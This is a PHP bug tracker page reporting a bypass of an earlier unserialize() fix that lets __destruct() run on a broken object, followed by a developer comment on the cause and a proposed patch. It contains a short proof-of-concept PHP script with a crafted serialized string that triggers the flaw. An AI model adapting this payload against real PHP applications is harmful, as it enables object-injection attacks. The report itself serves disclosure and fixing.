|
|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-10-21 15:52 UTC] taoguangchen at icloud dot com
Description:
------------
The fix for bug#72663 can be bypass, which can result in call to the broken-object's __destruct(). It is possible to lead to security issues in some real apps, ex SugarCRM.
PoC:
```
<?php
class obj {
var $ryat;
function __wakeup() {
$this->ryat = null;
throw new Exception("Not a serializable object");
}
function __destruct() {
if ($this->ryat == 1) {
var_dump('dtor!');
}
}
}
$poc = 'O:3:"obj":2:{s:4:"ryat";i:1;i:0;O:3:"obj":1:{s:4:"ryat";R:1;}}';
unserialize($poc);
?>
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2024 The PHP GroupAll rights reserved. |
Last updated: Fri May 17 10:01:32 2024 UTC |
Setting destructor_called beforehand may fix the symptom, but I don't think this solves the underlying issue (at least for PHP 7). The problem as I understand it, is that we currently do not guarantee that the object we call __wakeup on is live for the duration of the call. For example, if instead we use function __wakeup() { $this->ryat = null; $this->foo = 'bar'; // XXX } then the XXX line will access a $this that no longer exists. We usually avoid such issues by performing magic calls on a temporary copy of the object, see for example https://github.com/php/php-src/blob/6e1534a4e4a771d4293c030630f41efebf72cbd9/Zend/zend_object_handlers.c#L632 for __get(). I think we should do the same here, i.e. add an extra ZVAL_COPY + zval_ptr_dtor around the call. This will also ensure the object exists long enough for use to set the dtor failure flag.